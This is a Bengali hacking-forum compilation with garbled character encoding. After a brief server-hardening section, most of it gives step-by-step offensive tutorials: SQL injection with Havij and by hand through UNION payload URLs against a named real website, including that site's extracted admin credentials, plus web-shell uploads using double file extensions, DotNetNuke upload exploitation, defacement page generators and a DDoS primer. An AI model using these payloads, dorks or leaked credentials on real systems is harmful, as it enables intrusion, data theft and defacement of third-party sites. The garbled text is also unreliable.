তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
